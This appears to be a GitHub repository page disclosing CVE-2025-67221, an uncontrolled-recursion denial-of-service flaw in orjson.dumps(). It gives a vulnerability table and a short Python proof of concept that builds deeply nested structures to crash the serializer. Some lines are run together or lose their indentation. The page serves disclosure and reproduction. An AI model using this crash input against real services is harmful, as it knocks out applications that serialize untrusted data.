kpatsakis/cve-2025-67221Documentation and reproduction code for CVE-2025-67221, a denial-of-service vulnerability in orjson's dumps() function caused by uncontrolled recursion when serializing deeply nested JSON data.
| Field | Value |
|---|
| CVE ID | CVE-2025-67221 |
| Affected Product | orjson |
| Affected Versions | ≤ 3.11.4 |
| Vulnerability Type | Denial of Service (Uncontrolled Recursion) |
| Attack Vector | Remote (if attacker controls serialized data) |
A denial-of-service vulnerability exists in the orjson.dumps() function in orjson versions 3.11.4 and earlier. The function does not enforce a recursion limit when serializing deeply nested JSON data structures. An attacker who can cause an application to serialize attacker-controlled nested data can trigger a crash in the serialization routine.
orjson.dumps()pysrc/orjson/__init__.pyiTested on
Applications that use orjson to serialize untrusted or attacker-controlled data structures may be vulnerable to denial-of-service attacks.
Code to replicate the vulnerability locally:
import orjson
import sys
import platform
print(f'OS: {platform.platform()}')
print(f'Python version: {sys. version}')
print(f'orjson version: {orjson.__version__}')
nested = []
for i in range(100):
nested = [{"level": i, "next": nested}]
dumped = orjson.dumps(nested)
##Demo
The code above leads to a nice core dump
